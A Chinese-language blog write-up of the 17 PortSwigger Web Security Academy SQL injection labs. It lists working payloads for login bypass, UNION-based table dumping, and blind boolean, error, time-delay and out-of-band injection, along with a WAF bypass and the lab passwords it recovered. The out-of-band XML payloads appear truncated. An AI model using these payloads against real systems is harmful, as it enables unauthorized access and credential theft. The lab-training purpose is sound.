• BurpSuit官方实验室之SQL注入


    BurpSuit官方实验室之SQL注入

    这是BurpSuit官方的实验室靶场,以下将记录个人SQL注入共17个Lab的通关过程

    Web Security Academy: Free Online Training from PortSwigger

    lab1:

    SQL injection vulnerability in WHERE clause allowing retrieval of hidden data

    WHERE子句中的SQL注入漏洞允许检索隐藏数据

    进来发现如下商品页面

    在这里插入图片描述

    选择一个标签如Lifestyle会通过/filter?category=Lifestyle接口自动搜索相关内容
    在这里插入图片描述

    尝试注释掉后面的限制如limit、order by等,出现了4个信息,证明注释生效了存在sql注入
    在这里插入图片描述

    加入or 1=1,显示全部商品
    在这里插入图片描述

    lab2:

    SQL injection vulnerability allowing login bypass

    允许绕过登录的SQL注入

    同样是一个商品界面,发现登录入口
    在这里插入图片描述

    登录界面
    在这里插入图片描述

    它的请求包如下,administrator用户存在并注释掉了后面的密码,成功跳转my-account页面

    在这里插入图片描述

    直接在登录框输入,administrator’-- 密码任意
    在这里插入图片描述

    成功绕过登录

    在这里插入图片描述

    lab3:

    SQL injection UNION attack, determining the number of columns returned by the query

    SQL注入联合攻击,确定查询返回的列数

    进入到了如下页面

    在这里插入图片描述

    点击Lifestyle标签有如下请求包,和lab1有点像

    在这里插入图片描述

    关卡名称提示SQL injection UNION attack,需要先判断查询的字段,进行探测,结果都成功返回

    ' order by 1--
    ' order by 2--
    ' order by 3--
    
    • 1
    • 2
    • 3

    在这里插入图片描述

    继续探测,报错证明查询的字段数为3

    ' order by 4--
    
    • 1

    在这里插入图片描述

    利用联合查询成功通关

    union select NULL,NULL,NULL--
    
    • 1

    在这里插入图片描述

    lab4:

    SQL injection UNION attack, finding a column containing text

    SQL注入联盟攻击,找到一个包含文本的列

    同样用' order by 1--探测出查询的字段数,然后联合查询,回显提示字符串

    在这里插入图片描述

    成功过关
    在这里插入图片描述

    lab5:

    SQL injection UNION attack, retrieving data from other tables

    SQL注入联合攻击,从其他表中检索数据

    通过' order by 2--判断查询字段数为2

    根据提示查询users表的username和password字段
    在这里插入图片描述
    在这里插入图片描述

    利用拿到的账号密码登录

    administrator
    r9p7687yedddtfy9ugd5
    
    • 1
    • 2

    在这里插入图片描述

    lab6:

    SQL injection UNION attack, retrieving multiple values in a single column

    SQL注入联合攻击,在一列中检索多个值

    同样通过order by判断字段数为2

    想用lab5的方式一样查找,表users的username与password,但是不行了

    在这里插入图片描述

    根据提示一行多值,利用Oracle数据库的连接符||进行查询

    在这里插入图片描述

    利用拿到的账号密码进行登录

    administrator:q1g44lzx12wu6k5zag77
    
    • 1

    lab7:

    SQL injection attack, querying the database type and version on Oracle

    SQL注入攻击,在Oracle上查询数据库类型和版本

    order by 判断字段数为2

    利用Oracle查询语句

    SELECT BANNER FROM v$version
    
    • 1

    在这里插入图片描述

    lab8:

    SQL injection attack, querying the database type and version on MySQL and Microsoft

    SQL注入攻击,在MySQL和Microsoft上查询数据库类型和版本

    首先还是order by判断字段数为2 注释用–+或#
    在这里插入图片描述

    lab9:

    SQL injection attack, listing the database contents on non-Oracle databases

    SQL注入攻击,列出非Oracle数据上的数据库内容

    order by判断字段数为2

    利用如下sql查表

    SELECT table_name FROM information_schema.tables
    
    • 1

    在这里插入图片描述

    找到疑似用户表users_dnbohi

    利用如下sql查字段

    SELECT column_name FROM information_schema.columns WHERE table_name='users_dnbohi'
    
    • 1

    在这里插入图片描述

    直接拿字段查询数据库

    password_aizsso

    username_yeoepo
    在这里插入图片描述

    使用administrator登录即可

    lab10:

    SQL injection attack, listing the database contents on Oracle

    SQL注入攻击,列出Oracle上的数据库内容

    Oracle找表

    SELECT table_name FROM all_tables
    
    • 1

    在这里插入图片描述

    找到疑似用户表USERS_YSPAXZ

    利用构造如下SQL查表中字段

    SELECT column_name FROM all_tab_columns WHERE table_name = 'USERS_YSPAXZ'
    
    • 1

    在这里插入图片描述

    根据获得的字段查表
    在这里插入图片描述

    拿到administrator用户进行登录

    lab11:

    Blind SQL injection with conditional responses

    具有条件反应的SQL盲注

    根据目标提示,SQL注入存在Cookie中,查询成功有Welcome back的回显但没有数据的回显,给了表和字段,让我们查到administrator用户的账号密码

    在这里插入图片描述

    正常状态下的回显点

    在这里插入图片描述

    修改测试Cookie值

    正常:

    TrackingId=IbtFgRW3fsOqScJZ' AND '1'='1
    
    • 1

    在这里插入图片描述

    而当以下状态则无回显

    TrackingId=IbtFgRW3fsOqScJZ' AND '1'='2
    
    • 1

    在这里插入图片描述

    ps:遇到这种盲注的还是得上脚本跑,不过既然是bp的实验室就只用bp不作弊了。

    验证存在users表

    TrackingId=IbtFgRW3fsOqScJZ' AND (SELECT 'tpa' FROM users LIMIT 1)='tpa;
    
    • 1

    在这里插入图片描述

    验证users表中存在administrator用户

    AND (SELECT 'tpa' FROM users WHERE username='administrator')='tpa
    
    • 1

    在这里插入图片描述

    验证administrator用户密码的长度

    TrackingId=IbtFgRW3fsOqScJZ' AND (SELECT 'tpa' FROM users WHERE username='administrator' AND LENGTH(password)>1)='tpa;
    
    • 1

    增加数值进行爆破
    在这里插入图片描述

    直接爆破100次

    在这里插入图片描述

    最终判断出密码为20位
    在这里插入图片描述

    接下来爆破这20位密码,其中利用了SUBSTRING函数

    MySQL 中获取子串函数SUBSTRING(s,n,len) 带有len 参数的格式,从字符串s 返回一个长度同len 字符相同的子字符串,起始于位置n。

    TrackingId=IbtFgRW3fsOqScJZ' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a
    
    • 1

    需要使用Cluster bomb模块,爆破如下两个点

    在这里插入图片描述

    设置第一个payload

    在这里插入图片描述

    设置第二个payload

    在这里插入图片描述

    爆破出密码

    在这里插入图片描述

    得到密码

    eiuykiw2hve9iksu5zg4
    
    • 1

    进行登录

    lab12:

    Blind SQL injection with conditional errors

    有条件误差的SQL盲注

    这题和lab13一样也在Cookie存在注入点

    当Cookie,如下出现异常

    TrackingId=QK2186qbcVnsom7d'
    
    • 1

    而当如下则正常,说明带入了数据库查询中存在SQL注入

    TrackingId=QK2186qbcVnsom7d''
    
    • 1

    当Cookie为,回显正常,说明为Oracle数据库

    TrackingId=QK2186qbcVnsom7d'||(SELECT '' FROM dual)||';
    
    • 1

    确定users表存在

    # WHERE ROWNUM = 1 用于限定仅仅返回一行数据
    TrackingId=QK2186qbcVnsom7d'||(SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0)
    ELSE '' END FROM users WHERE ROWNUM = 1)||';
    
    • 1
    • 2
    • 3

    在这里插入图片描述

    确定表中存在administrator

    # 正常,tpa不存在,SELECT '' 不会导致异常
    TrackingId=QK2186qbcVnsom7d'||(SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0)
    ELSE '' END FROM users WHERE username='tpa')||';
    
    • 1
    • 2
    • 3
    # 正常,tpa不存在,SELECT TO_CHAR(1/0) 也不会导致异常
    TrackingId=QK2186qbcVnsom7d'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0)
    ELSE '' END FROM users WHERE username='tpa')||';
    
    • 1
    • 2
    • 3
    # 正常,administrator存在,SELECT '' 不会导致异常
    TrackingId=QK2186qbcVnsom7d'||(SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0)
    ELSE '' END FROM users WHERE username='administrator')||';
    
    • 1
    • 2
    • 3

    在这里插入图片描述

    # 异常,administrator存在,SELECT TO_CHAR(1/0) 会导致异常
    TrackingId=QK2186qbcVnsom7d'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0)
    ELSE '' END FROM users WHERE username='administrator')||';
    
    • 1
    • 2
    • 3

    在这里插入图片描述

    确定password的字段数

    # 异常即LENGTH(password)>条件满足,测试找到正常时的长度值
    TrackingId=QK2186qbcVnsom7d'||(SELECT CASE WHEN LENGTH(password)>1
    THEN+TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||';
    
    • 1
    • 2
    • 3

    爆破得到密码为20位

    在这里插入图片描述

    继续爆破密码同lab11

    TrackingId=QK2186qbcVnsom7d'||(SELECT CASE WHEN SUBSTR(password,1,1)='a'
    THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||';
    
    • 1
    • 2

    在这里插入图片描述

    得到密码

    ykx431jx1rnwz1qirwe1
    
    • 1

    lab13:

    Bind SQl injection with time delays

    具有时间延迟的SQL盲注

    时间延迟

    Oracle	dbms_pipe.receive_message(('a'),10)
    Microsoft	WAITFOR DELAY '0:0:10'
    PostgreSQL	SELECT pg_sleep(10)
    MySQL	SELECT sleep(10)
    
    • 1
    • 2
    • 3
    • 4

    成功利用pg_sleep(10)完成10秒延迟

    TrackingId=QK2186qbcVnsom7d'||pg_sleep(10)--;
    
    • 1

    lab14:

    Blind SQL injection with time delays and information retrieval

    时间SQL盲注与信息检索

    case语句确认:

    #延时,%3B为分号URL编码,使得cookie查询执行后,执行SQL 
    '%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END--
    
    • 1
    • 2
    #不延时
    '%3BSELECT+CASE+WHEN+(1=2)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END--
    
    • 1
    • 2

    判断administrator是否存在

    #不延时
    '%3BSELECT+CASE+WHEN+(username='tpa')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
    
    • 1
    • 2
    #延时
    '%3BSELECT+CASE+WHEN+(username='administrator')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
    
    • 1
    • 2

    判断密码字段长度为20

    #延时
    '%3BSELECT+CASE+WHEN+
    (username='administrator'+AND+LENGTH(password)>1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
    
    • 1
    • 2
    • 3
    #不延时
    '%3BSELECT+CASE+WHEN+
    (username='administrator'+AND+LENGTH(password)>20)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
    
    • 1
    • 2
    • 3

    爆破密码观察延时记录

    '%3BSELECT+CASE+WHEN+
    (username='administrator'+AND+SUBSTRING(password,1,1)='a')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
    
    • 1
    • 2

    爆破和之前一样,但必须要开单线程否则时间影响判断

    在这里插入图片描述

    3frfbconkxofsl9luia0
    
    • 1

    lab15:

    Blind SQL injection with out-of-band interaction

    带外交互的盲SQL注入

    在Burp菜单中,启动Burp Collaborator client

    DNS回显

    TrackingId=vsVGPg9k549Xo6Cl'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f>+%25remote%3b]>'),'/l')+FROM+dual--
    
    • 1

    在这里插入图片描述

    lab16:

    Blind SQL injection with out-of-band data exfiltration

    带外数据泄漏的盲SQL注入

    TrackingId=Ifp0Hk2INB4OuswfX'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f>+%25remote%3b]>'),'/l')+FROM+dual--
    
    • 1

    在这里插入图片描述

    拿到密码

    在这里插入图片描述

    lab17:

    SQL injection with filter bypass via XML encoding

    通过XML编码绕过过滤器的SQL注入

    这次页面比较特殊没看到按钮,只有view details的按钮,点进去

    在这里插入图片描述

    发现新按钮

    在这里插入图片描述

    点击生成如下请求包,当为1返回742units
    在这里插入图片描述

    当为2返回561units

    在这里插入图片描述

    测试是否存在数学表达式替换ID

    使用1+1,成功查到2的结果
    在这里插入图片描述

    追加 UNION SELECT NULL,被WAF侦测到攻击阻止

    在这里插入图片描述

    利用 Hackvertor插件转十六进制实体成功绕过(units不一样是因为环境timeout重开了)

    在这里插入图片描述

    以为只能返回一列,将用户名密码连接起来,得到用户密码

    1 UNION SELECT username || ':' || password FROM users
    
    • 1

    在这里插入图片描述

  • 相关阅读:
    Qt Quick Controls 2如何自定义样式
    .NET周刊【6月第5期 2024-06-30】
    [附源码]java毕业设计医院网上预约系统
    闲聊四种旅游方式
    opencv的使用(Ubuntu linux环境,AS jni,AS java)
    实时数仓架构那些事儿
    qt 怎么实现在子窗体通知mainwindow界面发生改变
    [吴恩达机器学习课程笔记] week four强化学习
    idea插件开发-UAST
    物联网ARM开发-4协议-单总线应用温湿度传感器
  • 原文地址:https://blog.csdn.net/qq_18980147/article/details/127827431